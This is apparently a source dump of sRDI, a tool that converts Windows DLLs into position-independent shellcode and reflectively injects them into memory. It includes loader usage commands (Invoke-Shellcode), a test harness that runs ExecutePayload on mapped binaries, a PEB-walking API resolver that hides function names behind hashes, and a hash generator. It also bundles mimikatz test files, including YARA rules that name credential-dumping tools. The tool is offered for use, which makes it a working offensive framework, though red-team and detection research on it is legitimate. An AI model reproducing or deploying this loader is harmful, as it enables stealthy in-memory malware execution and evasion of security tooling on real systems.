32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /ShellcodeRDITest/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : ShellcodeRDITest Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this ShellcodeRDITest application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your ShellcodeRDITest application. 9 | 10 | 11 | ShellcodeRDITest.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | ShellcodeRDITest.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | ShellcodeRDITest.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named ShellcodeRDITest.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /Python/Python.pyproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | 2.0 6 | be642266-f34d-43c3-b6e4-eebf8e489519 7 | 8 | 9 | 10 | 11 | 12 | 13 | . 14 | . 15 | Python 16 | RDIShellcodePyLoader 17 | 18 | 19 | true 20 | false 21 | 22 | 23 | true 24 | false 25 | 26 | 27 | 10.0 28 | 29 | 30 | 31 | 32 | Code 33 | 34 | 35 | 36 | 37 | 38 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /ShellcodeRDITest/ShellcodeRDITest.cpp: -------------------------------------------------------------------------------- 1 | // ShellcodeRDITest.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | #include 7 | 8 | extern "C" { 9 | ULONG_PTR ExecutePayload(ULONG_PTR uiLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen); 10 | } 11 | 12 | void DumpFile(LPSTR filename) 13 | { 14 | HANDLE hFile; 15 | HANDLE hFileMapping; 16 | LPVOID lpFileBase; 17 | 18 | hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, 19 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 20 | 21 | if (hFile == INVALID_HANDLE_VALUE) 22 | { 23 | printf("Couldn't open file with CreateFile()\n"); 24 | return; 25 | } 26 | 27 | hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); 28 | if (hFileMapping == 0) 29 | { 30 | CloseHandle(hFile); 31 | printf("Couldn't open file mapping with CreateFileMapping()\n"); 32 | return; 33 | } 34 | 35 | lpFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0); 36 | if (lpFileBase == 0) 37 | { 38 | CloseHandle(hFileMapping); 39 | CloseHandle(hFile); 40 | printf("Couldn't map view of file with MapViewOfFile()\n"); 41 | return; 42 | } 43 | 44 | ExecutePayload((ULONG_PTR)lpFileBase, 0, NULL, 0); 45 | 46 | /* 47 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)lpFileBase; 48 | if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE) 49 | { 50 | // DumpExeFile(dosHeader); 51 | } 52 | else if ((dosHeader->e_magic == 0x014C) // Does it look like a i386 53 | && (dosHeader->e_sp == 0)) // COFF OBJ file??? 54 | { 55 | // The two tests above aren't what they look like. They're 56 | // really checking for IMAGE_FILE_HEADER.Machine == i386 (0x14C) 57 | // and IMAGE_FILE_HEADER.SizeOfOptionalHeader == 0; 58 | // DumpObjFile((PIMAGE_FILE_HEADER)lpFileBase); 59 | } 60 | else 61 | printf("unrecognized file format\n"); 62 | */ 63 | 64 | UnmapViewOfFile(lpFileBase); 65 | CloseHandle(hFileMapping); 66 | CloseHandle(hFile); 67 | } 68 | 69 | int main() 70 | { 71 | // DumpFile("c:\\mat\\bin\\hex2bin.exe"); 72 | DumpFile("bin\\cmd.exe"); 73 | // DumpFile("bin\\calc.exe"); 74 | // DumpFile("bin\\notepad.exe"); 75 | return 0; 76 | } 77 | 78 | -------------------------------------------------------------------------------- /TestDLL/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | DYNAMIC LINK LIBRARY : TestDLL Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this TestDLL DLL for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your TestDLL application. 9 | 10 | 11 | TestDLL.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | TestDLL.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | TestDLL.cpp 25 | This is the main DLL source file. 26 | 27 | When created, this DLL does not export any symbols. As a result, it 28 | will not produce a .lib file when it is built. If you wish this project 29 | to be a project dependency of some other project, you will either need to 30 | add code to export some symbols from the DLL so that an export library 31 | will be produced, or you can set the Ignore Input Library property to Yes 32 | on the General propert page of the Linker folder in the project's Property 33 | Pages dialog box. 34 | 35 | ///////////////////////////////////////////////////////////////////////////// 36 | Other standard files: 37 | 38 | StdAfx.h, StdAfx.cpp 39 | These files are used to build a precompiled header (PCH) file 40 | named TestDLL.pch and a precompiled types file named StdAfx.obj. 41 | 42 | ///////////////////////////////////////////////////////////////////////////// 43 | Other notes: 44 | 45 | AppWizard uses "TODO:" comments to indicate parts of the source code you 46 | should add to or customize. 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | -------------------------------------------------------------------------------- /Tests/Executables/cmd-dll_v0_0_1/cmd.rbuild: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | include/reactos/wine 6 | . 7 | 8 | 9 | wine 10 | kernel32 11 | advapi32 12 | user32 13 | cmd.rc 14 | main.c 15 | precomp.h 16 | 17 | alias.c 18 | assoc.c 19 | attrib.c 20 | batch.c 21 | beep.c 22 | call.c 23 | chcp.c 24 | choice.c 25 | cls.c 26 | cmd.c 27 | cmddbg.c 28 | cmdinput.c 29 | cmdtable.c 30 | color.c 31 | console.c 32 | copy.c 33 | date.c 34 | del.c 35 | delay.c 36 | dir.c 37 | dirstack.c 38 | echo.c 39 | error.c 40 | filecomp.c 41 | for.c 42 | free.c 43 | goto.c 44 | history.c 45 | if.c 46 | internal.c 47 | label.c 48 | locale.c 49 | memory.c 50 | misc.c 51 | mklink.c 52 | move.c 53 | msgbox.c 54 | parser.c 55 | path.c 56 | pause.c 57 | prompt.c 58 | redir.c 59 | ren.c 60 | replace.c 61 | screen.c 62 | set.c 63 | setlocal.c 64 | shift.c 65 | start.c 66 | strtoclr.c 67 | time.c 68 | timer.c 69 | title.c 70 | type.c 71 | ver.c 72 | verify.c 73 | vol.c 74 | where.c 75 | window.c 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # sRDI - Shellcode Reflective DLL Injection 2 | sRDI allows for the conversion of DLL files to position independent shellcode. 3 | 4 | Functionality is accomplished via two components: 5 | - C project which compiles a PE loader implementation (RDI) to shellcode 6 | - Conversion code which attaches the DLL, RDI, and user data together with a bootstrap 7 | 8 | This project is comprised of the following elements: 9 | - **ShellcodeRDI:** Compiles shellcode for the DLL loader 10 | - **NativeLoader:** Converts DLL to shellcode if neccesarry, then injects into memory 11 | - **DotNetLoader:** C# implementation of NativeLoader 12 | - **Python\ConvertToShellcode.py:** Convert DLL to shellcode in place 13 | - **PowerShell\ConvertTo-Shellcode.ps1:** Convert DLL to shellcode in place 14 | - **TestDLL:** Example DLL that includes two exported functions for call on Load and after 15 | 16 | **The DLL does not need to be compiled with RDI, however the technique is cross compatiable.** 17 | 18 | ## Use Cases / Examples 19 | Before use, I recommend you become familiar with [Reflective DLL Injection](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) and it's purpose. 20 | 21 | ### Convert DLL to shellcode using python 22 | ```python 23 | from ShellcodeRDI import * 24 | 25 | dll = open("TestDLL_x86.dll", 'rb').read() 26 | shellcode = ConvertToShellcode(dll) 27 | ``` 28 | 29 | ### Load DLL into memory using C# loader 30 | ``` 31 | DotNetLoader.exe TestDLL_x64.dll 32 | ``` 33 | 34 | ### Convert DLL with python script and load with Native EXE 35 | ``` 36 | python ConvertToShellcode.py TestDLL_x64.dll 37 | NativeLoader.exe TestDLL_x64.bin 38 | ``` 39 | 40 | ### Convert DLL with powershell and load with Invoke-Shellcode 41 | ```powershell 42 | Import-Module .\Invoke-Shellcode.ps1 43 | Import-Module .\ConvertTo-Shellcode.ps1 44 | Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll) 45 | ``` 46 | 47 | ## Building 48 | This project is built using Visual Studio 2015 (v140) and Windows SDK 8.1. The python script is written using Python 3. 49 | 50 | The Python and Powershell scripts are located at: 51 | - Python\ConvertToShellcode.py 52 | - PowerShell\ConvertTo-Shellcode.ps1 53 | 54 | After building the project, the other binaries will be located at: 55 | - bin\NativeLoader.exe 56 | - bin\DotNetLoader.exe 57 | - bin\TestDLL_.dll 58 | - bin\ShellcodeRDI_.bin 59 | 60 | ## Credits 61 | The basis of this project is derived from ["Improved Reflective DLL Injection" from Dan Staples](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) which itself is derived from the original project by [Stephen Fewer](https://github.com/stephenfewer/ReflectiveDLLInjection). 62 | 63 | The project framework for compiling C code as shellcode is taken from [Mathew Graeber's reasearch "PIC_BindShell"](http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html) 64 | 65 | The [PEFile project](https://github.com/erocarrera/pefile) is used in the python script for parsing. 66 | -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/mimicom.idl: -------------------------------------------------------------------------------- 1 | import "ms-dtyp.idl"; 2 | [ 3 | uuid(17FC11E9-C258-4B8D-8D07-2F4125156244), 4 | version(1.0) 5 | ] 6 | interface MimiCom 7 | { 8 | typedef [context_handle] void* MIMI_HANDLE; 9 | 10 | typedef unsigned int ALG_ID; 11 | typedef struct _MIMI_PUBLICKEY { 12 | ALG_ID sessionType; 13 | DWORD cbPublicKey; 14 | [size_is(cbPublicKey)] BYTE *pbPublicKey; 15 | } MIMI_PUBLICKEY, *PMIMI_PUBLICKEY; 16 | 17 | NTSTATUS MimiBind( 18 | [in] handle_t rpc_handle, 19 | [in, ref] PMIMI_PUBLICKEY clientPublicKey, 20 | [out, ref] PMIMI_PUBLICKEY serverPublicKey, 21 | [out, ref] MIMI_HANDLE *phMimi 22 | ); 23 | 24 | NTSTATUS MiniUnbind( 25 | [in, out, ref] MIMI_HANDLE *phMimi 26 | ); 27 | 28 | NTSTATUS MimiCommand( 29 | [in, ref] MIMI_HANDLE phMimi, 30 | [in] DWORD szEncCommand, 31 | [in, size_is(szEncCommand), unique] BYTE *encCommand, 32 | [out, ref] DWORD *szEncResult, 33 | [out, size_is(, *szEncResult)] BYTE **encResult 34 | ); 35 | 36 | NTSTATUS MimiClear( 37 | [in] handle_t rpc_handle, 38 | [in, string] wchar_t *command, 39 | [out] DWORD *size, 40 | [out, size_is(, *size)] wchar_t **result 41 | ); 42 | } 43 | 44 | // Privacy of RPC exchange can be ~guaranteed by protocol, *except when not using authentication* 45 | // mimikatz try to avoid clear credentials on the network by using basic encryption at application level. 46 | // 47 | // Diffie-Hellman key exchange 48 | // =========================== 49 | // 50 | // > Parameters used: Second Oakley Group ( https://tools.ietf.org/html/rfc2409#section-6.2 ) 51 | // 52 | // * ALG_ID sessionType 53 | // session key type to use after DH exchange, it can be: CALG_CYLINK_MEK(0x660c), CALG_RC2(0x6602), CALG_RC4(0x6801), CALG_DES(0x6601), CALG_3DES_112(0x6609) or CALG_3DES(0x6603) 54 | // see: https://msdn.microsoft.com/library/windows/desktop/bb394802.aspx and https://msdn.microsoft.com/library/windows/desktop/aa375549.aspx 55 | // 56 | // * DWORD cbPublicKey 57 | // size of pbPublicKey: 144 (sizeof(PUBLICKEYSTRUC) + sizeof(DHPUBKEY) + sizeof(1024bits key) 58 | // 59 | // * BYTE *pbPublicKey 60 | // PUBLICKEYBLOB structure of the DH key ( https://msdn.microsoft.com/en-us/library/windows/desktop/aa381970(v=vs.85).aspx#code-snippet-1 ) 61 | // 62 | // Example: 63 | // -------- 64 | // 06 02 00 00 PUBLICKEYBLOB (06), CUR_BLOB_VERSION (02), reserved (00 00) 65 | // 02 aa 00 00 ALG_ID: CALG_DH_EPHEM(0xaa02) 66 | // 67 | // 00 44 48 31 Magic : \0DH1 68 | // 00 04 00 00 1024bits (128bytes bellow) 69 | // a9 90 e8 86 59 2d 88 a7 32 e1 05 35 26 24 d9 fd 70 | // ae f5 53 46 ca a4 79 cc a9 a3 57 45 e8 54 e7 fd 71 | // fe 99 24 df 71 6a 44 2c f7 0a 09 ac e4 e6 44 f8 72 | // 4c 51 63 c3 86 1e 14 4a 9a f0 e0 a9 e0 38 26 72 73 | // 75 27 cb 60 9f 0d 15 2c 37 39 a0 b0 72 b6 14 85 74 | // 5f 18 7f c0 0d 26 d1 3b 6f 14 c1 99 22 8f 74 ef 75 | // 68 0c 24 bb 77 ff b3 c5 9e ed ff 76 71 c1 ee ce 76 | // eb 77 46 00 52 d8 4c 5c bc af fd 28 3d 76 83 b3 77 | // 78 | // > Don't forget you may need to reverse some key bytearrays from Windows point of view, and to reset session key state between calls ;) -------------------------------------------------------------------------------- /DotNet/DotNet.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {FD50DEE9-91AB-4449-BA55-27C71098076B} 8 | Exe 9 | Properties 10 | RDIShellcodeLoader 11 | RDIShellcodeLoader 12 | v4.5.2 13 | 512 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | ..\x64\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | true 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | false 32 | ..\x64\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | true 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | copy /y $(TargetPath) $(SolutionDir)bin\DotNetLoader.exe 59 | 60 | 67 | -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/kiwi_passwords.yar: -------------------------------------------------------------------------------- 1 | /* Benjamin DELPY `gentilkiwi` 2 | http://blog.gentilkiwi.com 3 | benjamin@gentilkiwi.com 4 | Licence : https://creativecommons.org/licenses/by/4.0/ 5 | */ 6 | rule mimikatz 7 | { 8 | meta: 9 | description = "mimikatz" 10 | author = "Benjamin DELPY (gentilkiwi)" 11 | tool_author = "Benjamin DELPY (gentilkiwi)" 12 | 13 | strings: 14 | $exe_x86_1 = { 89 71 04 89 [0-3] 30 8d 04 bd } 15 | $exe_x86_2 = { 8b 4d e? 8b 45 f4 89 75 e? 89 01 85 ff 74 } 16 | 17 | $exe_x64_1 = { 33 ff 4? 89 37 4? 8b f3 45 85 c? 74} 18 | $exe_x64_2 = { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 } 19 | 20 | $dll_1 = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 } 21 | $dll_2 = { c7 0? 10 02 00 00 ?? 89 4? } 22 | 23 | $sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 } 24 | $sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 } 25 | 26 | condition: 27 | (all of ($exe_x86_*)) or (all of ($exe_x64_*)) or (all of ($dll_*)) or (any of ($sys_*)) 28 | } 29 | 30 | 31 | rule mimikatz_lsass_mdmp 32 | { 33 | meta: 34 | description = "LSASS minidump file for mimikatz" 35 | author = "Benjamin DELPY (gentilkiwi)" 36 | 37 | strings: 38 | $lsass = "System32\\lsass.exe" wide nocase 39 | 40 | condition: 41 | (uint32(0) == 0x504d444d) and $lsass 42 | } 43 | 44 | 45 | rule mimikatz_kirbi_ticket 46 | { 47 | meta: 48 | description = "KiRBi ticket for mimikatz" 49 | author = "Benjamin DELPY (gentilkiwi)" 50 | 51 | strings: 52 | $asn1 = { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 } 53 | 54 | condition: 55 | $asn1 at 0 56 | } 57 | 58 | 59 | rule wce 60 | { 61 | meta: 62 | description = "wce" 63 | author = "Benjamin DELPY (gentilkiwi)" 64 | tool_author = "Hernan Ochoa (hernano)" 65 | 66 | strings: 67 | $hex_legacy = { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 } 68 | $hex_x86 = { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 } 69 | $hex_x64 = { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 } 70 | 71 | condition: 72 | any of them 73 | } 74 | 75 | 76 | rule lsadump 77 | { 78 | meta: 79 | description = "LSA dump programe (bootkey/syskey) - pwdump and others" 80 | author = "Benjamin DELPY (gentilkiwi)" 81 | 82 | strings: 83 | $str_sam_inc = "\\Domains\\Account" ascii nocase 84 | $str_sam_exc = "\\Domains\\Account\\Users\\Names\\" ascii nocase 85 | $hex_api_call = {(41 b8 | 68) 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 } 86 | $str_msv_lsa = { 4c 53 41 53 52 56 2e 44 4c 4c 00 [0-32] 6d 73 76 31 5f 30 2e 64 6c 6c 00 } 87 | $hex_bkey = { 4b 53 53 4d [20-70] 05 00 01 00} 88 | 89 | condition: 90 | ($str_sam_inc and not $str_sam_exc) or $hex_api_call or $str_msv_lsa or $hex_bkey 91 | } 92 | 93 | rule power_pe_injection 94 | { 95 | meta: 96 | description = "PowerShell with PE Reflective Injection" 97 | author = "Benjamin DELPY (gentilkiwi)" 98 | 99 | strings: 100 | $str_loadlib = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9" 101 | 102 | condition: 103 | $str_loadlib 104 | } -------------------------------------------------------------------------------- /ShellcodeRDI/GetProcAddressWithHash.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // This compiles to a ROR instruction 5 | // This is needed because _lrotr() is an external reference 6 | // Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms. 7 | #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) 8 | 9 | // Redefine PEB structures. The structure definitions in winternl.h are incomplete. 10 | typedef struct _MY_PEB_LDR_DATA { 11 | ULONG Length; 12 | BOOL Initialized; 13 | PVOID SsHandle; 14 | LIST_ENTRY InLoadOrderModuleList; 15 | LIST_ENTRY InMemoryOrderModuleList; 16 | LIST_ENTRY InInitializationOrderModuleList; 17 | } MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA; 18 | 19 | typedef struct _MY_LDR_DATA_TABLE_ENTRY 20 | { 21 | LIST_ENTRY InLoadOrderLinks; 22 | LIST_ENTRY InMemoryOrderLinks; 23 | LIST_ENTRY InInitializationOrderLinks; 24 | PVOID DllBase; 25 | PVOID EntryPoint; 26 | ULONG SizeOfImage; 27 | UNICODE_STRING FullDllName; 28 | UNICODE_STRING BaseDllName; 29 | } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; 30 | 31 | HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash ) 32 | { 33 | PPEB PebAddress; 34 | PMY_PEB_LDR_DATA pLdr; 35 | PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry; 36 | PVOID pModuleBase; 37 | PIMAGE_NT_HEADERS pNTHeader; 38 | DWORD dwExportDirRVA; 39 | PIMAGE_EXPORT_DIRECTORY pExportDir; 40 | PLIST_ENTRY pNextModule; 41 | DWORD dwNumFunctions; 42 | USHORT usOrdinalTableIndex; 43 | PDWORD pdwFunctionNameBase; 44 | PCSTR pFunctionName; 45 | UNICODE_STRING BaseDllName; 46 | DWORD dwModuleHash; 47 | DWORD dwFunctionHash; 48 | PCSTR pTempChar; 49 | DWORD i; 50 | 51 | #if defined(_WIN64) 52 | PebAddress = (PPEB) __readgsqword( 0x60 ); 53 | #elif defined(_M_ARM) 54 | // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes 55 | // necessary to get the PEB.Ldr address 56 | PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0); 57 | __emit( 0x00006B1B ); 58 | #else 59 | PebAddress = (PPEB) __readfsdword( 0x30 ); 60 | #endif 61 | 62 | pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr; 63 | pNextModule = pLdr->InLoadOrderModuleList.Flink; 64 | pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule; 65 | 66 | while (pDataTableEntry->DllBase != NULL) 67 | { 68 | dwModuleHash = 0; 69 | pModuleBase = pDataTableEntry->DllBase; 70 | BaseDllName = pDataTableEntry->BaseDllName; 71 | pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew); 72 | dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress; 73 | 74 | // Get the next loaded module entry 75 | pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink; 76 | 77 | // If the current module does not export any functions, move on to the next module. 78 | if (dwExportDirRVA == 0) 79 | { 80 | continue; 81 | } 82 | 83 | // Calculate the module hash 84 | for (i = 0; i < BaseDllName.MaximumLength; i++) 85 | { 86 | pTempChar = ((PCSTR) BaseDllName.Buffer + i); 87 | 88 | dwModuleHash = ROTR32( dwModuleHash, 13 ); 89 | 90 | if ( *pTempChar >= 0x61 ) 91 | { 92 | dwModuleHash += *pTempChar - 0x20; 93 | } 94 | else 95 | { 96 | dwModuleHash += *pTempChar; 97 | } 98 | } 99 | 100 | pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA); 101 | 102 | dwNumFunctions = pExportDir->NumberOfNames; 103 | pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames); 104 | 105 | for (i = 0; i < dwNumFunctions; i++) 106 | { 107 | dwFunctionHash = 0; 108 | pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase); 109 | pdwFunctionNameBase++; 110 | 111 | pTempChar = pFunctionName; 112 | 113 | do 114 | { 115 | dwFunctionHash = ROTR32( dwFunctionHash, 13 ); 116 | dwFunctionHash += *pTempChar; 117 | pTempChar++; 118 | } while (*(pTempChar - 1) != 0); 119 | 120 | dwFunctionHash += dwModuleHash; 121 | 122 | if (dwFunctionHash == dwModuleFunctionHash) 123 | { 124 | usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i)); 125 | return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex))); 126 | } 127 | } 128 | } 129 | 130 | // All modules have been exhausted and the function was not found. 131 | return NULL; 132 | } -------------------------------------------------------------------------------- /lib/PowerShell/Get-FunctionHash.ps1: -------------------------------------------------------------------------------- 1 | function Get-FunctionHash 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Outputs a module and function hash that can be passed to the 7 | GetProcAddressWithHash function. 8 | 9 | PowerSploit Function: Get-FunctionHash 10 | Author: Matthew Graeber (@mattifestation) 11 | License: BSD 3-Clause 12 | Required Dependencies: None 13 | Optional Dependencies: None 14 | 15 | .DESCRIPTION 16 | 17 | Get-FunctionHash calculates a hash that can be passed to 18 | GetProcAddressWithHash - a C function that is used to resolve Win32 19 | library functions. Passing a hash to a function address resolver 20 | prevents plaintext strings from being sent in the clear in shellcode. 21 | 22 | A python implementation of this algorithm is present in Meatsploit 23 | will perform hash collision detection. 24 | 25 | .PARAMETER Module 26 | 27 | Specifies the module to be hashed. Be sure to include the file extension. 28 | The module name will be normalized to upper case. 29 | 30 | .PARAMETER Function 31 | 32 | Specifies the function to be hashed. The function name is case-sensitive. 33 | 34 | .PARAMETER RorValue 35 | 36 | Specifies the value by which the hashing algorithm rotates right. The 37 | range of possibles values is 1-31. 38 | 39 | .EXAMPLE 40 | 41 | Get-FunctionHash kernel32.dll LoadLibraryA 42 | 43 | .OUTPUTS 44 | 45 | System.String 46 | 47 | Outputs a hexadecimal representation of the function hash. 48 | 49 | .LINK 50 | 51 | http://www.exploit-monday.com/ 52 | https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py 53 | #> 54 | 55 | [CmdletBinding()] Param ( 56 | [Parameter(Position = 0, Mandatory = $True)] 57 | [ValidateNotNullOrEmpty()] 58 | [String] 59 | $Module, 60 | 61 | [Parameter(Position = 1, Mandatory = $True)] 62 | [ValidateNotNullOrEmpty()] 63 | [String] 64 | $Function, 65 | 66 | [Parameter(Position = 2)] 67 | [ValidateRange(1, 31)] 68 | [String] 69 | $RorValue = 13 70 | ) 71 | 72 | $MethodInfo = New-Object Reflection.Emit.DynamicMethod('Ror', [UInt32], @([UInt32], [UInt32])) 73 | $ILGen = $MethodInfo.GetILGenerator(8) 74 | 75 | # C# equivalent of: return x >> n | x << 32 - n; 76 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 77 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1) 78 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31) 79 | $ILGen.Emit([Reflection.Emit.OpCodes]::And) 80 | $ILGen.Emit([Reflection.Emit.OpCodes]::Shr_Un) 81 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 82 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 32) 83 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1) 84 | $ILGen.Emit([Reflection.Emit.OpCodes]::Sub) 85 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31) 86 | $ILGen.Emit([Reflection.Emit.OpCodes]::And) 87 | $ILGen.Emit([Reflection.Emit.OpCodes]::Shl) 88 | $ILGen.Emit([Reflection.Emit.OpCodes]::Or) 89 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ret) 90 | 91 | $Delegate = [Func``3[UInt32, UInt32, UInt32]] 92 | 93 | $Ror = $MethodInfo.CreateDelegate($Delegate) 94 | 95 | $MethodInfo = New-Object Reflection.Emit.DynamicMethod('Add', [UInt32], @([UInt32], [UInt32])) 96 | $ILGen = $MethodInfo.GetILGenerator(2) 97 | 98 | # C# equivalent of: return x + y; 99 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 100 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1) 101 | $ILGen.Emit([Reflection.Emit.OpCodes]::Add) 102 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ret) 103 | 104 | $Add = $MethodInfo.CreateDelegate($Delegate) 105 | 106 | $UnicodeEncoder = [Text.Encoding]::Unicode 107 | 108 | $Module = $Module.ToUpper() 109 | [Byte[]] $ModuleBytes = $UnicodeEncoder.GetBytes($Module) + [Byte[]] @(0, 0) 110 | $ModuleHash = [UInt32] 0 111 | 112 | # Iterate over each byte of the unicode module string including nulls 113 | for ($i = 0; $i -lt $ModuleBytes.Length; $i++) 114 | { 115 | $ModuleHash = $Ror.Invoke($ModuleHash, 13) 116 | $ModuleHash = $Add.Invoke($ModuleHash, $ModuleBytes[$i]) 117 | } 118 | 119 | $AsciiEncoder = [Text.Encoding]::ASCII 120 | [Byte[]] $FunctionBytes = $AsciiEncoder.GetBytes($Function) + @([Byte] 0) 121 | $FunctionHash = [UInt32] 0 122 | 123 | # Iterate over each byte of the function string including the null terminator 124 | for ($i = 0; $i -lt $FunctionBytes.Length; $i++) 125 | { 126 | $FunctionHash = $Ror.Invoke($FunctionHash, $RorValue) 127 | $FunctionHash = $Add.Invoke($FunctionHash, $FunctionBytes[$i]) 128 | } 129 | 130 | # Add the function hash to the module hash 131 | $FinalHash = $Add.Invoke($ModuleHash, $FunctionHash) 132 | 133 | # Write out the hexadecimal representation of the hash 134 | Write-Output "0x$($FinalHash.ToString('X8'))" 135 | } -------------------------------------------------------------------------------- /Tests/Executables/mimikatz_trunk/README.md: -------------------------------------------------------------------------------- 1 